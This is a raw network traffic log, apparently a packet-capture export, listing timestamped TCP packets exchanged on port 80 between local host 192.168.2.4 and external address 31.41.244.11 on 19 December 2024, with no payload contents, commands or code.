Dec 19, 2024 06:09:21.953111887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.953197956 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.953214884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.953313112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.954195023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.954353094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.954395056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.955199003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.955306053 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.955363989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.955709934 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.956218958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.956295967 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.956337929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.956459045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.957279921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.957398891 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.957438946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.957568884 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.958328962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.958445072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.958518028 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.958601952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.959469080 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.959506035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.959573984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.960397005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.960501909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.960532904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.960609913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.961431980 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.961538076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.961566925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.961667061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.962505102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.962611914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.962630033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.962795019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.963617086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.963670015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.963712931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.963773966 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.964586020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.964713097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.964713097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.964827061 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.965615988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.965703011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.965718031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.965776920 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.966623068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.966732025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.966763973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.966821909 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.967708111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.967789888 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.967829943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.967907906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.968727112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.968872070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.968909025 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.968980074 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.969768047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.969892025 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.970808029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.970839977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.970865965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.970953941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.971851110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.971971035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.972891092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.972924948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.972991943 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.973023891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.973218918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.973963022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.974057913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.974077940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.974147081 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.974996090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.975065947 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.975131035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.975236893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.976030111 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.976102114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.976133108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.976206064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.977061033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.977163076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.977199078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.977274895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.978087902 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.978228092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.978259087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.978305101 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.979203939 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.979266882 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.979306936 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.979441881 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.980218887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.980325937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.980334044 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.980391026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.981276989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.981385946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.981420040 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.981471062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.982314110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.982367992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.982388973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.982436895 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.983331919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.983424902 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.983436108 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.983524084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.984405994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.984507084 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.984565973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.984565973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.985435009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.985498905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.985546112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.986413002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.986438036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.986512899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.986624956 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.987487078 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.988123894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.125260115 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.125394106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.125679970 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.125766039 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.125900030 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.125943899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.126101971 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.126863003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.126971960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.127059937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.127870083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.128031969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.128038883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.128873110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.129002094 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.129041910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.129947901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.129996061 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.130050898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.130120039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.130994081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.131046057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.131062984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.132010937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.132072926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.132126093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.132163048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.132246017 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.133064985 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.133193016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.133455992 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.134105921 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.134212971 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.134249926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.135112047 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.135255098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.135293007 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.136100054 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.136157990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.136261940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.136302948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.136353016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.137190104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.137312889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.137376070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.138246059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.138372898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.138413906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.138559103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.139302969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.139422894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.140005112 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.140321016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.140441895 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.140480995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.140749931 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.141357899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.141449928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.141510963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.142425060 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.142533064 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.142570019 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.142679930 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.143459082 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.143569946 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.143608093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.143949986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.144511938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.144617081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.144658089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.145549059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.145665884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.145685911 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.145817041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.146578074 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.146656990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.146702051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.146861076 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.147644997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.147743940 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.147754908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.147891998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.148693085 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.148786068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.149142981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.149693966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.149835110 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.149872065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.150749922 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.150949955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.150990009 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.151787043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.151876926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.151916981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.152090073 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.152839899 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.152894020 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.152965069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.153944016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.154047012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.154084921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.154239893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.155003071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.155158997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.155261993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.155931950 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.156002998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.156060934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.156351089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.156989098 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.157094955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.157134056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.157303095 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.158036947 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.158149958 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.158186913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.158319950 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.159060001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.159255981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.159293890 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.159828901 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.160132885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.160242081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.161130905 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.161161900 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.161283016 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.161322117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.162070036 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.162162066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.162261963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.162286043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.162527084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.163232088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.163378954 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.163486958 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.164271116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.164374113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.164405107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.164525986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.165318012 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.165443897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.165481091 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.166193008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.166333914 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.166460991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.166467905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.166713953 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.167392015 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.167444944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.167534113 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.167587996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.168453932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.168566942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.168631077 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.169500113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.169574976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.169610023 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.169698000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.170506001 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.170633078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.170649052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.170748949 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.171591997 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.171679974 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.171725035 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.171849012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.172596931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.172703981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.172785997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.172785997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.173609972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.173748970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.174375057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.174654007 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.174765110 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.174789906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.174936056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.175723076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.175795078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.175827026 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.175991058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.176750898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.176804066 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.177035093 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.177777052 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.177829981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.177911997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.178828955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.178947926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.179011106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.179840088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.179928064 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.317317009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.317445040 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.317594051 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.317781925 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.317934036 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.317958117 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.318661928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.318842888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.318960905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.318984985 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.319086075 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.319880009 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.319938898 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.319993973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.320950031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.321039915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.321068048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.321546078 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:22.321983099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:22.322112083 CET	80	49787	31.41.244.11	192.168.2.4
